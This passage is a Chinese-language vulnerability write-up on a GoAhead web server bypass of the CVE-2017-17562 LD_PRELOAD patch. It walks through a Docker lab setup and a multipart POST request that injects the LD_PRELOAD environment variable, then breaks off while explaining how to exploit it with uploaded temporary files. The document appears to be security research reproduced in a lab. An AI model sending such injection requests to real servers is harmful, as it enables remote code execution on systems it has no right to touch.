漏洞原理
GoAhead曾经出现过一次环境变量注入漏洞,建议先看下Vulhub中相关的漏洞环境与描述:GoAhead Web Server HTTPd 'LD_PRELOAD' Remote Code Execution (CVE-2017-17562)。
这个老漏洞的原理也很简单,就是GoAhead在处理CGI请求时,将用户传入的的参数作为环境变量了。这样,通过LD_PRELOAD
就可以劫持CGI进程的动态链接库,进而执行任意代码。
今天这个漏洞实际上是对老漏洞的一次绕过,漏洞原理不是本文重点,我用两段简单的文字进行描述:
- 补丁对用户传入参数进行了黑名单过滤,
LD_PRELOAD
这类参数不再设置为环境变量。但由于这个限制使用错了函数,导致实际上并没有生效(这就是不写单元测试的后果,但换句话说,又有多少漏洞POC是从单元测试里泄露的?) - 补丁还将用户传入的参数名前面增加了前缀,导致无法劫持任意环境变量。但这个限制漏掉了multipart的POST包,所以攻击者通过这个方式仍然可以注入任意环境变量
环境搭建
说个趣事,GoAhead官方Embedthis曾在今年或者去年的时候把自己旗下的几个开源项目,包括GoAhead、AppWeb等直接从Github删掉了,在官网上只留了最新版源码下载,如果需要下载旧版得成为付费用户,大有转开源为闭源的趋势。但是没想到昨天重新打开Github一看,诶,项目又回来了,只不过所有的star都遗失了,有点可惜。
说回来,GoAhead的优点是非常轻量,编译几乎不需要额外的第三库,我们下载gcc、make等工具编译即可,我直接将Vulhub中旧版本的Dockerfile拿来改下版本号:
代码语言:javascript复制FROM debian:buster
LABEL maintainer="phithon <root@leavesongs.com>"
RUN set -ex
&& apt-get update
&& apt-get install wget make gcc -y
&& wget -qO- https://github.com/embedthis/goahead/archive/refs/tags/v5.1.4.tar.gz | tar zx --strip-components 1 -C /usr/src/
&& cd /usr/src
&& make
&& make install
&& cp src/self.key src/self.crt /etc/goahead/
&& mkdir -p /var/www/goahead/cgi-bin/
&& apt-get purge -y --auto-remove wget make gcc
&& cd /var/www/goahead
&& rm -rf /usr/src/ /var/lib/apt/lists/*
&& sed -e 's!^# route uri=/cgi-bin dir=cgi-bin handler=cgi$!route uri=/cgi-bin dir=/var/www/goahead handler=cgi!' -i /etc/goahead/route.txt
CMD ["goahead", "-v", "--home", "/etc/goahead", "/var/www/goahead"]
另外还有一点要注意的是,今年五月份GoAhead默认将CGI相关的配置注释了。
这也是这个漏洞的第一个坑:新版本的GoAhead默认没有开启CGI配置,而老版本如果没有cgi-bin目录,或者里面没有cgi文件,也不受这个漏洞影响。所以并不像某些文章里说的那样影响广泛。
我将CGI相关的配置去掉注释并配置好,编译很顺利就通过了。此时我们就可以把这个Docker镜像跑起来:
代码语言:javascript复制docker run -d -it --name web -p 8080:80 -v `pwd`:/var/www/goahead/cgi-bin vulhub/goahead:5.1.4
然后我们再在当前目录下增加一个cgi文件,比如test,并增加执行权限:
代码语言:javascript复制#!/bin/bash
echo -e "Content-Type: text/plainn"
env
访问输出当前的env,说明成功部署并解析完成了:
但是我后文会讲,这样搭建的环境实际上是有坑的。
漏洞复现
首先我们来尝试看是否可以注入环境变量。从原理上来看,实际上就是发送一个multipart数据包,就可以通过表单来注入环境变量,所以我们尝试发送如下数据包:
代码语言:javascript复制POST /cgi-bin/test HTTP/1.1
Host: 192.168.1.112:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Length: 145
------WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Disposition: form-data; name="LD_PRELOAD"
test
------WebKitFormBoundarylNDKbe0ngCGdEiPM--
可见,环境变量LD_PRELOAD
注入成功了,漏洞确实存在:
到这一步一切比较顺利。
漏洞利用
文件上传目录配置
注入环境变量的目的当然是利用漏洞,做到任意代码执行。但是我们看老的漏洞CVE-2017-17562,当时是将LD_PRELOAD
设置成标准输入,即LD_PRELOAD=/proc/self/fd/0
。因为在CGI中POST Body就是标准输入,所以正好可以将劫持的so文件放在Body中发送,完成利用。
但这次我们需要在Body中发送multipart表单,自然不能再用这种方法。
我们的目的是在服务器上上传一个可控内容的文件,然后将环境变量LD_PRELOAD
设置为这个文件的路径,这样来劫持动态链接库。很容易想到另一个方法就是通过上传文件的形式来创建文件。
和PHP一样,GoAhead在遇到上传表单的时候,会先将这个上传的文件保存在一个临时目录下,待脚本程序处理完成后删掉这个临时文件。
我们尝试发送一个文件上传数据包:
但发现直接爆500了,查看日志,错误信息是:
代码语言:javascript复制goahead: 2: POST /cgi-bin/test HTTP/1.1
goahead: 2: Cannot open upload temp file tmp/tmp-1.tmp
失败原因是无法写入临时文件tmp/tmp-1.tmp
。我们查看GoAhead源码可以发现其中对上传目录有这样一个配置:
#ifndef ME_GOAHEAD_UPLOAD_DIR
#define ME_GOAHEAD_UPLOAD_DIR "tmp"
#endif
PUBLIC void websUploadOpen(void)
{
uploadDir = ME_GOAHEAD_UPLOAD_DIR;
if (*uploadDir == '